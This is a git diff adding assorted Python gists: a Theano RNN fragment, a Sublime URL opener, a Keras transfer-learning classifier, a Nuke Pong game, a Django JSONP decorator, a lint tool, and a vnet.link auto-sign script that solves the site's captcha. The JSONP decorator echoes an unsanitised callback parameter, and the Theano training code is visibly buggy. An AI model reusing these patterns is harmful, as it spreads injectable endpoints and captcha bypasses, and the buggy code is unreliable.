+        self.W_hidden = shared_identity((output_size, output_size))
+        self.h = shared_constant((batch_size, output_size))
+        self.params = [self.W, self.W_hidden]
+
+    def __call__(self, x, h):
+        linear = T.dot(x, self.W) + T.dot(h, self.W_hidden)
+        return T.switch(linear > 0, linear, 0)
+
+
+class SoftmaxLayer(object):
+
+    def __init__(self, input_size, output_size):
+        self.W = shared_gaussian((input_size, output_size))
+        self.b = shared_constant(output_size)
+        self.params = [self.W, self.b]
+
+    def __call__(self, x):
+        return T.nnet.softmax(T.dot(x, self.W) + self.b)
+
+
+def get_cost(x, y):
+    x = x.T.reshape((784, -1, 1))
+    results, updates = scan(recurrent_layer, x, recurrent_layer.h)
+    predict_proba = softmax_layer(results[-1])
+    return T.nnet.categorical_crossentropy(predict_proba, y).mean(), \
+           T.mean(T.neq(T.argmax(predict_proba, axis=1), y))
+
+
+def get_updates(cost, params):
+    for param, grad in zip(params, T.grad(cost, params)):
+        return [(param, param - learning_rate * T.clip(grad, -1, 1))]
+
+
+def get_givens(X, y):
+    batch_start = i * batch_size
+    batch_end = (i+1) * batch_size
+    X = shared(np.asarray(X, config.floatX))
+    y = shared(np.asarray(y, 'int64'))
+    return {x: X[batch_start:batch_end],
+            t: y[batch_start:batch_end]}
+
+
+if __name__ == '__main__':
+    X, y = load_mnist()[0]
+
+    from theano import tensor as T
+    x = T.matrix()
+    t = T.lvector()
+    i = T.lscalar()
+
+    learning_rate = 1e-8
+    batch_size = 16
+
+    recurrent_layer = RecurrentLayer(1, 100)
+    softmax_layer = SoftmaxLayer(100, 10)
+
+    cost, prediction_error = get_cost(x, t)
+    params = recurrent_layer.params + softmax_layer.params
+    updates = get_updates(cost, params)
+    givens = get_givens(X, y)
+
+    from theano import function
+    fit = function([i], prediction_error, givens=givens)
+
+    n_batches = len(X) / batch_size
+    n_epochs = 1000
+
+    for epoch in range(n_epochs):
+        cost = []
+        for batch in range(n_batches):
+            cost.append(fit(batch))
+        print np.mean(cost)
\ No newline at end of file
diff --git a/hard-gists/3542836/._snippet.py b/hard-gists/3542836/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3542836/._snippet.py differ
diff --git a/hard-gists/3542836/snippet.py b/hard-gists/3542836/snippet.py
new file mode 100644
index 00000000..1899d3a8
--- /dev/null
+++ b/hard-gists/3542836/snippet.py
@@ -0,0 +1,34 @@
+import sublime
+import sublime_plugin
+import webbrowser
+
+
+class OpenUrlCommand(sublime_plugin.TextCommand):
+    def run(self, edit):
+        s = self.view.sel()[0]
+
+        # Expand selection to possible URL
+        start = s.a
+        end = s.b
+
+        view_size = self.view.size()
+        terminator = ['\t', ' ', '\"', '\'', '(', ')']
+
+        while (start > 0
+                and not self.view.substr(start - 1) in terminator
+                and self.view.classify(start) & sublime.CLASS_LINE_START == 0):
+            start -= 1
+
+        while (end < view_size
+                and not self.view.substr(end) in terminator
+                and self.view.classify(end) & sublime.CLASS_LINE_END == 0):
+            end += 1
+
+        # Check if this is URL
+        url = self.view.substr(sublime.Region(start, end))
+        print("URL : " + url)
+
+        if url.startswith(('http://', 'https://')):
+            webbrowser.open_new_tab(url)
+        else:
+            print("not URL")
diff --git a/hard-gists/354b90d59faf8b0d758f74eae3a511e2/._snippet.py b/hard-gists/354b90d59faf8b0d758f74eae3a511e2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/354b90d59faf8b0d758f74eae3a511e2/._snippet.py differ
diff --git a/hard-gists/354b90d59faf8b0d758f74eae3a511e2/snippet.py b/hard-gists/354b90d59faf8b0d758f74eae3a511e2/snippet.py
new file mode 100644
index 00000000..48afa436
--- /dev/null
+++ b/hard-gists/354b90d59faf8b0d758f74eae3a511e2/snippet.py
@@ -0,0 +1,237 @@
+'''
+Using Bottleneck Features for Multi-Class Classification in Keras
+
+We use this technique to build powerful (high accuracy without overfitting) Image Classification systems with small
+amount of training data.
+
+The full tutorial to get this code working can be found at the "Codes of Interest" Blog at the following link,
+http://www.codesofinterest.com/2017/08/bottleneck-features-multi-class-classification-keras.html
+
+Please go through the tutorial before attempting to run this code, as it explains how to setup your training data.
+
+The code was tested on Python 3.5, with the following library versions,
+Keras 2.0.6
+TensorFlow 1.2.1
+OpenCV 3.2.0
+
+This should work with Theano as well, but untested.
+'''
+import numpy as np
+from keras.preprocessing.image import ImageDataGenerator, img_to_array, load_img
+from keras.models import Sequential
+from keras.layers import Dropout, Flatten, Dense
+from keras import applications
+from keras.utils.np_utils import to_categorical
+import matplotlib.pyplot as plt
+import math
+import cv2
+
+# dimensions of our images.
+img_width, img_height = 224, 224
+
+top_model_weights_path = 'bottleneck_fc_model.h5'
+train_data_dir = 'data/train'
+validation_data_dir = 'data/validation'
+
+# number of epochs to train top model
+epochs = 50
+# batch size used by flow_from_directory and predict_generator
+batch_size = 16
+
+
+def save_bottlebeck_features():
+    # build the VGG16 network
+    model = applications.VGG16(include_top=False, weights='imagenet')
+
+    datagen = ImageDataGenerator(rescale=1. / 255)
+
+    generator = datagen.flow_from_directory(
+        train_data_dir,
+        target_size=(img_width, img_height),
+        batch_size=batch_size,
+        class_mode=None,
+        shuffle=False)
+
+    print(len(generator.filenames))
+    print(generator.class_indices)
+    print(len(generator.class_indices))
+
+    nb_train_samples = len(generator.filenames)
+    num_classes = len(generator.class_indices)
+
+    predict_size_train = int(math.ceil(nb_train_samples / batch_size))
+
+    bottleneck_features_train = model.predict_generator(
+        generator, predict_size_train)
+
+    np.save('bottleneck_features_train.npy', bottleneck_features_train)
+
+    generator = datagen.flow_from_directory(
+        validation_data_dir,
+        target_size=(img_width, img_height),
+        batch_size=batch_size,
+        class_mode=None,
+        shuffle=False)
+
+    nb_validation_samples = len(generator.filenames)
+
+    predict_size_validation = int(
+        math.ceil(nb_validation_samples / batch_size))
+
+    bottleneck_features_validation = model.predict_generator(
+        generator, predict_size_validation)
+
+    np.save('bottleneck_features_validation.npy',
+            bottleneck_features_validation)
+
+
+def train_top_model():
+    datagen_top = ImageDataGenerator(rescale=1. / 255)
+    generator_top = datagen_top.flow_from_directory(
+        train_data_dir,
+        target_size=(img_width, img_height),
+        batch_size=batch_size,
+        class_mode='categorical',
+        shuffle=False)
+
+    nb_train_samples = len(generator_top.filenames)
+    num_classes = len(generator_top.class_indices)
+
+    # save the class indices to use use later in predictions
+    np.save('class_indices.npy', generator_top.class_indices)
+
+    # load the bottleneck features saved earlier
+    train_data = np.load('bottleneck_features_train.npy')
+
+    # get the class lebels for the training data, in the original order
+    train_labels = generator_top.classes
+
+    # https://github.com/fchollet/keras/issues/3467
+    # convert the training labels to categorical vectors
+    train_labels = to_categorical(train_labels, num_classes=num_classes)
+
+    generator_top = datagen_top.flow_from_directory(
+        validation_data_dir,
+        target_size=(img_width, img_height),
+        batch_size=batch_size,
+        class_mode=None,
+        shuffle=False)
+
+    nb_validation_samples = len(generator_top.filenames)
+
+    validation_data = np.load('bottleneck_features_validation.npy')
+
+    validation_labels = generator_top.classes
+    validation_labels = to_categorical(
+        validation_labels, num_classes=num_classes)
+
+    model = Sequential()
+    model.add(Flatten(input_shape=train_data.shape[1:]))
+    model.add(Dense(256, activation='relu'))
+    model.add(Dropout(0.5))
+    model.add(Dense(num_classes, activation='sigmoid'))
+
+    model.compile(optimizer='rmsprop',
+                  loss='categorical_crossentropy', metrics=['accuracy'])
+
+    history = model.fit(train_data, train_labels,
+                        epochs=epochs,
+                        batch_size=batch_size,
+                        validation_data=(validation_data, validation_labels))
+
+    model.save_weights(top_model_weights_path)
+
+    (eval_loss, eval_accuracy) = model.evaluate(
+        validation_data, validation_labels, batch_size=batch_size, verbose=1)
+
+    print("[INFO] accuracy: {:.2f}%".format(eval_accuracy * 100))
+    print("[INFO] Loss: {}".format(eval_loss))
+
+    plt.figure(1)
+
+    # summarize history for accuracy
+
+    plt.subplot(211)
+    plt.plot(history.history['acc'])
+    plt.plot(history.history['val_acc'])
+    plt.title('model accuracy')
+    plt.ylabel('accuracy')
+    plt.xlabel('epoch')
+    plt.legend(['train', 'test'], loc='upper left')
+
+    # summarize history for loss
+
+    plt.subplot(212)
+    plt.plot(history.history['loss'])
+    plt.plot(history.history['val_loss'])
+    plt.title('model loss')
+    plt.ylabel('loss')
+    plt.xlabel('epoch')
+    plt.legend(['train', 'test'], loc='upper left')
+    plt.show()
+
+
+def predict():
+    # load the class_indices saved in the earlier step
+    class_dictionary = np.load('class_indices.npy').item()
+
+    num_classes = len(class_dictionary)
+
+    # add the path to your test image below
+    image_path = 'path/to/your/test_image'
+
+    orig = cv2.imread(image_path)
+
+    print("[INFO] loading and preprocessing image...")
+    image = load_img(image_path, target_size=(224, 224))
+    image = img_to_array(image)
+
+    # important! otherwise the predictions will be '0'
+    image = image / 255
+
+    image = np.expand_dims(image, axis=0)
+
+    # build the VGG16 network
+    model = applications.VGG16(include_top=False, weights='imagenet')
+
+    # get the bottleneck prediction from the pre-trained VGG16 model
+    bottleneck_prediction = model.predict(image)
+
+    # build top model
+    model = Sequential()
+    model.add(Flatten(input_shape=bottleneck_prediction.shape[1:]))
+    model.add(Dense(256, activation='relu'))
+    model.add(Dropout(0.5))
+    model.add(Dense(num_classes, activation='sigmoid'))
+
+    model.load_weights(top_model_weights_path)
+
+    # use the bottleneck prediction on the top model to get the final
+    # classification
+    class_predicted = model.predict_classes(bottleneck_prediction)
+
+    probabilities = model.predict_proba(bottleneck_prediction)
+
+    inID = class_predicted[0]
+
+    inv_map = {v: k for k, v in class_dictionary.items()}
+
+    label = inv_map[inID]
+
+    # get the prediction label
+    print("Image ID: {}, Label: {}".format(inID, label))
+
+    # display the predictions with the image
+    cv2.putText(orig, "Predicted: {}".format(label), (10, 30),
+                cv2.FONT_HERSHEY_PLAIN, 1.5, (43, 99, 255), 2)
+
+    cv2.imshow("Classification", orig)
+    cv2.waitKey(0)
+    cv2.destroyAllWindows()
+
+
+save_bottlebeck_features()
+train_top_model()
+predict()
+
+cv2.destroyAllWindows()
diff --git a/hard-gists/35536ca8f1769dc6c74f/._snippet.py b/hard-gists/35536ca8f1769dc6c74f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/35536ca8f1769dc6c74f/._snippet.py differ
diff --git a/hard-gists/35536ca8f1769dc6c74f/snippet.py b/hard-gists/35536ca8f1769dc6c74f/snippet.py
new file mode 100644
index 00000000..f2b76fdf
--- /dev/null
+++ b/hard-gists/35536ca8f1769dc6c74f/snippet.py
@@ -0,0 +1,69 @@
+#!/usr/bin/python2
+# -*- coding: utf-8 -*-
+
+#
+# This's an auto-sign script for vnet.link
+# You should install PIL first, for Ubuntu 14.04:
+# sudo apt-get build-dep python-imaging python-pip -y && pip install Pillow
+#
+# 12/3/2016 Cody Chan <int64ago@gmail.com>
+# To support me, register from https://vnet.link/?rc=36900
+#
+
+from PIL import Image, ImageEnhance
+import urllib, urllib2, cookielib, io, json, time
+
+NUM_TABLE = [[[1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 0, 0, 0, 0, 1, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 1, 1], [1, 0, 0, 1, 1, 1, 1, 0, 0, 1], [0, 0, 1, 1, 1, 1, 1, 1, 0, 0], [0, 0, 1, 1, 1, 1, 1, 1, 0, 0], [1, 0, 0, 1, 1, 1, 1, 0, 0, 1], [1, 1, 0, 0, 0, 0, 0, 0, 1, 1], [1, 1, 1, 0, 0, 0, 0, 1, 1, 1]], [[1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 0, 1, 1, 1, 1, 1, 1, 0], [1, 0, 0, 1, 1, 1, 1, 1, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 1, 1, 1, 1, 1, 1, 1, 0], [1, 1, 1, 1, 1, 1, 1, 1, 1, 0], [1, 1, 1, 1, 1, 1, 1, 1, 1, 1]], [[1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 0, 1, 1, 1, 1, 1, 1, 0], [1, 0, 0, 1, 1, 1, 1, 1, 0, 0], [0, 0, 1, 1, 1, 1, 1, 0, 0, 0], [0, 1, 1, 1, 1, 1, 0, 0, 1, 0], [0, 1, 1, 1, 1, 0, 0, 1, 1, 0], [0, 0, 1, 1, 0, 0, 1, 1, 1, 0], [1, 0, 0, 0, 0, 1, 1, 1, 1, 0], [1, 1, 0, 0, 1, 1, 1, 1, 1, 0]], [[1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 0, 1, 1, 1, 1, 1, 1, 0, 1], [0, 0, 1, 1, 1, 1, 1, 1, 0, 0], [0, 1, 1, 1, 1, 1, 1, 1, 1, 0], [0, 1, 1, 1, 0, 1, 1, 1, 1, 0], [0, 1, 1, 1, 0, 1, 1, 1, 1, 0], [0, 0, 1, 0, 0, 0, 1, 1, 0, 0], [1, 0, 0, 0, 1, 0, 0, 0, 0, 1], [1, 1, 0, 1, 1, 1, 0, 0, 1, 1]], [[1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 1, 0, 0, 1, 1, 1], [1, 1, 1, 1, 0, 0, 0, 1, 1, 1], [1, 1, 1, 0, 0, 1, 0, 1, 1, 1], [1, 1, 0, 0, 1, 1, 0, 1, 1, 1], [1, 0, 0, 1, 1, 1, 0, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 1, 1, 1, 1, 1, 0, 1, 1, 1]], [[1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 1, 1, 0, 1, 1], [0, 0, 0, 0, 0, 1, 1, 0, 0, 1], [0, 1, 1, 1, 0, 1, 1, 1, 0, 0], [0, 1, 1, 0, 1, 1, 1, 1, 1, 0], [0, 1, 1, 0, 1, 1, 1, 1, 1, 0], [0, 1, 1, 0, 0, 1, 1, 1, 0, 0], [0, 1, 1, 1, 0, 0, 0, 0, 0, 1], [1, 1, 1, 1, 1, 0, 0, 0, 1, 1]], [[1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 0, 0, 0, 0, 0, 0, 1, 1], [1, 0, 0, 0, 0, 0, 0, 0, 0, 1], [0, 0, 1, 1, 1, 0, 1, 1, 0, 0], [0, 1, 1, 1, 0, 1, 1, 1, 1, 0], [0, 1, 1, 1, 0, 1, 1, 1, 1, 0], [0, 0, 1, 1, 0, 0, 1, 1, 0, 0], [1, 0, 0, 1, 1, 0, 0, 0, 0, 1], [1, 1, 1, 1, 1, 1, 0, 0, 1, 1]], [[1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [0, 1, 1, 1, 1, 1, 1, 1, 0, 0], [0, 1, 1, 1, 1, 1, 1, 0, 0, 0], [0, 1, 1, 1, 1, 1, 0, 0, 1, 1], [0, 1, 1, 1, 1, 0, 0, 1, 1, 1], [0, 1, 1, 1, 0, 0, 1, 1, 1, 1], [0, 1, 1, 0, 0, 1, 1, 1, 1, 1], [0, 0, 0, 0, 1, 1, 1, 1, 1, 1], [0, 0, 0, 1, 1, 1, 1, 1, 1, 1]], [[1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 0, 1, 1, 1, 0, 0, 1, 1], [1, 0, 0, 0, 1, 0, 0, 0, 0, 1], [0, 0, 1, 0, 0, 0, 1, 1, 0, 0], [0, 1, 1, 1, 0, 1, 1, 1, 1, 0], [0, 1, 1, 1, 0, 1, 1, 1, 1, 0], [0, 0, 1, 0, 0, 0, 1, 1, 0, 0], [1, 0, 0, 0, 1, 0, 0, 0, 0, 1], [1, 1, 0, 1, 1, 1, 0, 0, 1, 1]], [[1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [1, 1, 0, 0, 1, 1, 1, 1, 1, 1], [1, 0, 0, 0, 0, 1, 1, 0, 0, 1], [0, 0, 1, 1, 0, 0, 1, 1, 0, 0], [0, 1, 1, 1, 1, 0, 1, 1, 1, 0], [0, 1, 1, 1, 1, 0, 1, 1, 1, 0], [0, 0, 1, 1, 0, 1, 1, 1, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0, 1], [1, 1, 0, 0, 0, 0, 0, 0, 1, 1]]]
+
+def gen_table(threshold):
+    table = []
+    for i in range(256):
+        if i < threshold:
+            table.append(0)
+        else:
+            table.append(1)
+    return table
+        
+def image_to_number(img):
+    number = 0
+    max_count = 0
+    for i in range(10):
+        count = 0
+        for x in range(9):
+            for y in range(10):
+                if img.getpixel((x, y)) == NUM_TABLE[i][x][y]:
+                    count += 1
+        if count > max_count:
+            max_count = count
+            number = i
+    return number
+        
+
+def image_to_string(img):
+    enhancer = img.convert('L')
+    enhancer = ImageEnhance.Brightness(enhancer)
+    enhancer = enhancer.enhance(4)
+    enhancer = enhancer.point(gen_table(150),'1')
+    enhancer = enhancer.crop((9, 3, 63, 13))
+    string = ''
+    for i in range(6):
+        img = enhancer.crop((9*i, 0, 9*(i+1), 10))
+        string += str(image_to_number(img))
+    return string
+
+def login_and_sign(username, password):
+    cookie = cookielib.CookieJar()
+    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
+
+    data = {'username': username, 'password': password}
+    opener.open('https://vnet.link/login_do', urllib.urlencode(data))
+    
+    res = opener.open('https://vnet.link/openapi/v1/regcode?action=checkcode')
+    image = Image.open(io.BytesIO(res.read()))
+    code = image_to_string(image)
+    res = opener.open('https://vnet.link/openapi/v1/regcode?action=gift1&num=' + code)
+    tt = time.strftime('%Y-%m-%d %X',time.localtime(time.time()))
+    print('[%s] %s' % (tt, json.loads(res.read())['data'].encode('UTF-8')))
+
+login_and_sign('username', 'password')
+
diff --git a/hard-gists/356294/._snippet.py b/hard-gists/356294/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/356294/._snippet.py differ
diff --git a/hard-gists/356294/snippet.py b/hard-gists/356294/snippet.py
new file mode 100644
index 00000000..cc80aef2
--- /dev/null
+++ b/hard-gists/356294/snippet.py
@@ -0,0 +1,306 @@
+"""Pong.
+In Nuke.
+"""
+
+import nuke
+
+import time
+from random import random
+import threading
+
+
+class Player1Score(Exception):
+    pass
+
+class Player2Score(Exception):
+    pass
+
+class Ball(object):
+    def __init__(self, node):
+        self.node = node
+        self.vx = 4
+        self.vy = 0
+
+        # Number of nudge()'s since last collision.
+        # Used to prevent multiple collisions on the same object in
+        # quick sucession (which makes the ball get stuck in the object)
+        self.steps_since_collision = 0
+        self.delay_between_collisions = 5
+
+    # Getter/setter for ball location
+    def _setxy(self, v):
+        x, y = v
+        nuke.executeInMainThread(self.node.setXYpos, (x, y))
+        time.sleep(0.001)
+    def _getxy(self):
+        x = self.node.xpos()
+        y = self.node.ypos()
+        return x, y
+    xy = property(_getxy, _setxy)
+
+    def nudge(self):
+        """Moves ball with x/y velocity"""
+        x, y = self.xy
+        self.xy = (x + self.vx, y + self.vy)
+        self.steps_since_collision += 1
+
+    def reset(self, gamebox):
+        """Reset ball to centre. Reset velocity"""
+        x, y = gamebox.xpos(), gamebox.ypos()
+        w, h = gamebox.screenWidth(), gamebox.screenHeight()
+
+        cx = x + (w/2)
+        cy = y + (h/2)
+
+        r = 2 - (random() * 4)
+
+        if self.vx > 0:
+            self.vx, self.vy = 4, 0
+        else:
+            self.vx, self.vy = -4, 0
+
+        nuke.executeInMainThread(self.node.setXYpos, (cx, cy))
+
+    def check_paddle(self, paddle):
+        """Checks collision with paddles"""
+        if self.steps_since_collision < self.delay_between_collisions:
+            return
+
+        x, y = self.xy
+        cx, cy = paddle.xpos(), paddle.ypos()
+        cw, ch = paddle.screenWidth(), paddle.screenHeight()
+
+        if y > cy and y < (cy + ch):
+            # In correct y location
+            if (x > (cx)) and (x < (cx + cw)):
+                self.vx = -self.vx
+                # Add randomness to bounce
+                self.vy = self.vy + (1.0 - (random() * 2.0))
+                self.nudge()
+                self.steps_since_collision = 0
+
+    def check_gamebox(self, gamebox):
+        """Checks for collisions with the edge of game box, and raises the
+        appropriate Player{n}Score exception"""
+        if self.steps_since_collision < self.delay_between_collisions:
+            return
+
+        sx, sy = gamebox.xpos(), gamebox.ypos()
+        w, h = gamebox.screenWidth(), gamebox.screenHeight()
+        maxx = sx + w
+        maxy = sy + h
+
+        x, y = self.xy
+
+        if x < sx:
+            self.vx = -self.vx
+            self.nudge()
+            self.steps_since_collision = 0
+            raise Player1Score()
+
+        elif x > maxx:
+            self.vx = -self.vx
+            self.nudge()
+            self.steps_since_collision = 0
+            raise Player2Score()
+
+        elif y < sy:
+            self.vy = -self.vy
+            self.nudge()
+            x, y = self.xy
+            self.xy = (x, sy)
+            self.steps_since_collision = 0
+
+        elif y > maxy:
+            self.vy = -self.vy
+            self.nudge()
+            x, y = self.xy
+            self.xy = (x, maxy)
+            self.steps_since_collision = 0
+
+
+class Game(threading.Thread):
+    def __init__(self, gamebox, ball, player1, player2):
+        threading.Thread.__init__(self)
+        self.gamebox = gamebox
+        self.ball = ball
+        self.left = player1
+        self.right = player2
+
+        self.ball = Ball(self.ball)
+        self.stop = False
+
+    def deletenodes(self):
+        for x in [self.gamebox, self.left, self.right]:
+            nuke.delete(nuke.toNode(x.name()))
+        nuke.delete(self.ball.node)
+
+
+    def gameloop(self):
+        self.ball.reset(self.gamebox)
+        time.sleep(0.1)
+
+        while not self.stop:
+            self.ball.nudge()
+
+            toincrement = None
+            try:
+                self.ball.check_gamebox(self.gamebox)
+
+            except Player1Score:
+                print "Player 1 scored"
+                toincrement = self.gamebox['p1_score']
+
+            except Player2Score:
+                print "Player 2 scored"
+                toincrement = self.gamebox['p2_score']
+
+            if toincrement is not None:
+                cur = nuke.executeInMainThreadWithResult(toincrement.value)
+                if cur is None:
+                    cur = 0
+                new = cur + 1
+                nuke.executeInMainThreadWithResult(toincrement.setValue, new)
+                self.ball.reset(self.gamebox)
+
+            self.ball.check_paddle(paddle = self.left)
+            self.ball.check_paddle(paddle = self.right)
+            time.sleep(0.01)
+
+    def run(self):
+        try:
+            self.gameloop()
+        except Exception, e:
+            # Exception in thread doesn't give a useful traceback
+            # to Nuke console, print one.
+            import traceback
+            traceback.print_exc()
+            raise
+
+
+def _nudgeplayer(node, vertical):
+    y = node.ypos()
+    node.setYpos(y + vertical)
+
+def nudge_up(left = False, right = False, large = False):
+    global pong
+    if left:
+        node = pong.left
+    elif right:
+        node = pong.right
+    else:
+        raise ValueError("left or right must be True")
+
+    _nudgeplayer(node, -40 if large else -20)
+
+def nudge_down(left = False, right = False, large = False):
+    global pong
+    if left:
+        node = pong.left
+    elif right:
+        node = pong.right
+    else:
+        raise ValueError("left or right must be True")
+
+    _nudgeplayer(node, 40 if large else 20)
+
+
+global pong
+pong = None
+
+def stop_pong():
+    global pong
+    if pong is None:
+        return
+    else:
+        print "Stopping pong.."
+        pong.stop = True
+        pong.join()
+        pong.deletenodes()
+        pong = None
+
+def start_pong():
+    stop_pong()
+
+    # Make game box
+    gamebox = nuke.toNode("PONG")
+
+    if gamebox is None:
+        gamebox = nuke.nodes.BackdropNode(bdwidth = 1000, bdheight = 500)
+        p1s = nuke.Int_Knob('p1_score', 'player 1 score')
+        p2s = nuke.Int_Knob('p2_score', 'player 2 score')
+        gamebox.addKnob(p1s)
+        gamebox.addKnob(p2s)
+        gamebox['tile_color'].setValue(1)
+
+    ball = nuke.toNode("ball")
+    if ball is None:
+        ball = nuke.nodes.Dot()
+
+    # Make paddles
+    player1, player2 = nuke.toNode("player1"), nuke.toNode("player2")
+
+    if player1 is None:
+        player1 = nuke.nodes.BackdropNode(bdwidth = 40, bdheight = 100, name = "player1")
+        player1.setXpos(gamebox.xpos())
+
+    if player2 is None:
+        player2 = nuke.nodes.BackdropNode(bdwidth = 40, bdheight = 100, name = "player2")
+        player2.setXpos(
+            (gamebox.xpos() + (gamebox.screenWidth() - 40)))
+
+    global pong
+    pong = Game(
+        gamebox = gamebox,
+        ball = ball,
+        player1 = player1,
+        player2 = player2)
+    pong.start()
+
+
+def main():
+    mn = nuke.menu("Nodes")
+    mp = mn.addMenu("Pong")
+
+    mp.addCommand(
+        "start pong",
+        lambda: start_pong(),
+        "alt+p")
+    mp.addCommand("stop pong",
+                  lambda: stop_pong(),
+                  "alt+q")
+
+    mp.addSeparator()
+    mp.addCommand("p1 - up",
+                  lambda: nudge_up(left=True),
+                  "Up")
+    mp.addCommand("p1 - up large",
+                  lambda: nudge_up(left=True, large=True),
+                  "Shift+Up")
+
+    mp.addCommand("p1 - down",
+                  lambda: nudge_down(left=True),
+                  "Down")
+    mp.addCommand("p1 - down large",
+                  lambda: nudge_down(left=True, large=True),
+                  "Shift+Down")
+
+
+    mp.addSeparator()
+    mp.addCommand("p2 - up",
+                  lambda: nudge_up(right=True),
+                  "w")
+    mp.addCommand("p2 - up large",
+                  lambda: nudge_up(right=True, large=True),
+                  "Shift+w")
+
+    mp.addCommand("p2 - down",
+                  lambda: nudge_down(right=True),
+                  "s")
+    mp.addCommand("p2 - down large",
+                  lambda: nudge_down(right=True, large=True),
+                  "Shift+s")
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/3563671/._snippet.py b/hard-gists/3563671/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3563671/._snippet.py differ
diff --git a/hard-gists/3563671/snippet.py b/hard-gists/3563671/snippet.py
new file mode 100644
index 00000000..0637e217
--- /dev/null
+++ b/hard-gists/3563671/snippet.py
@@ -0,0 +1,50 @@
+from django.http import HttpResponse
+from django.utils import simplejson
+
+def json_response(func):
+    
+    """
+    
+    @json_response
+    
+    A decorator thats takes a view response and turns it into json. If a callback is added
+    through GET or POST the response is JSONP.
+    
+    Example usage:
+    
+    from django_decorators.decorators import json_response
+    @json_response
+    def any_view(request):
+        return {'this will be': 'JSON'}
+    
+    Returns a JSON string.
+    
+    Now, if you need a JSONP response, just add a callback GET or POST variable. :)
+    
+    ---
+    
+    https://github.com/julian-amaya/django-decorators
+    https://gist.github.com/871954
+    https://gist.github.com/1568174
+    
+    """
+    
+    def decorator(request, *args, **kwargs):
+        objects = func(request, *args, **kwargs)
+        if isinstance(objects, HttpResponse):
+            return objects
+        # Even after using `functools.wraps`, I get:
+        # Error: "'dict' object has no attribute 'status_code'".
+#         if objects.status_code != 200:
+#             return objects
+        # It just seems like a good idea to check for a 200 status code... Oh well. :(
+        try:
+            data = simplejson.dumps(objects)
+            if 'callback' in request.REQUEST:
+                # A jsonp response!
+                data = '%s(%s);' % (request.REQUEST['callback'], data)
+                return HttpResponse(data, 'text/javascript; charset=utf-8')
+        except:
+            data = simplejson.dumps(str(objects))
+        return HttpResponse(data, 'application/json; charset=utf-8')
+    return decorator
\ No newline at end of file
diff --git a/hard-gists/35723b58d238a67234d8/._snippet.py b/hard-gists/35723b58d238a67234d8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/35723b58d238a67234d8/._snippet.py differ
diff --git a/hard-gists/35723b58d238a67234d8/snippet.py b/hard-gists/35723b58d238a67234d8/snippet.py
new file mode 100644
index 00000000..9e31108a
--- /dev/null
+++ b/hard-gists/35723b58d238a67234d8/snippet.py
@@ -0,0 +1,411 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+'''
+A lint tool for robotframework cases, only one py file script.
+
+There is one lint tool for robotframework on github https://github.com/boakley/robotframework-lint,
+but it only support static analysis on plain text.
+We have many case in html format, and once more, the parsed robotframework suite also need to check.
+So I write this script here.
+
+Robotframework best practices:
+    http://becrtt01.china.nsn-net.net/cleancode/codingcookbook/blob/master/robotframework_best_practices.md
+
+Supported checking points:
+
+## W101
+* show bad suite/case/keyword/variable name warning
+    * suite name should not contain "."
+    * suite name should not be less than 3 words
+    * test name should not contain "."
+    * test name should not be the same as suite name
+    * suite variable should be upper case
+    * scalar variable should not contain more than one value
+    * list variable should not contain only one value
+## W102
+* show too little/many test cases in one suite warning
+* show too little/too many steps in one test case warning
+* show too many steps in one keyword warning
+* show too many arguments in one keyword warning
+* show no __init__.html warning (neither suite setup nor suite teardown defined)
+## E103
+* show mandentory tags missing warning
+## W201
+* show some dangerous keywords like (Fatal Error) usage warning (or error)
+* show set global variable usage warning
+* show set suite variable/set test variable invalid usage warning
+* show deprecated keywords used warning
+* use "Run Keyword and Ignore Error" but no return value used warning
+* performance issue warning like using sleep
+* recursive calling
+## W202
+* show case duplication warning
+## TODO
+* show hard coded warning
+* unused resource file/library file warning
+* show dry-run warning or errors
+'''
+import sys
+import os
+import hashlib
+from robot.model import SuiteVisitor
+from robot import get_version
+if get_version() < '2.8.0':
+    raise RuntimeError('RobotFramework 2.8+ required!')
+from robot.api import TestSuiteBuilder, TestSuite
+from robot.running.model import TestCase
+
+default_settings = {
+    'MAX_CASES_IN_ONE_SUITE': 10,
+    'MIN_CASES_IN_ONE_SUITE': 2,
+    'MAX_STEPS_IN_ONE_CASE': 10,
+    'MIN_STEPS_IN_ONE_CASE': 2,
+    'MAX_STEPS_IN_ONE_KW': 15,
+    'FORBIDDEN_KEYWORDS': ('Fatal Error', 'Set Global Variable'),
+    'MANDATORY_TAGS': ('owner', ),
+    'MAX_ARGUMENTS_IN_ONE_KEYWORD': 5,
+    'DEPRECATED_KEYWORDS': ('Create File With Encoding', ),
+    }
+
+def load_settings(_settings):
+    class _Settings(object):
+        def __init__(self, _settings):
+            self._settings = _settings
+
+        def __getattr__(self, attr):
+            return self._settings[attr]
+
+    return _Settings(_settings)
+
+try:
+    import settings
+except ImportError:
+    settings = load_settings(default_settings)
+
+
+class LintBuilder(object):
+    def __init__(self, _suite, _findings):
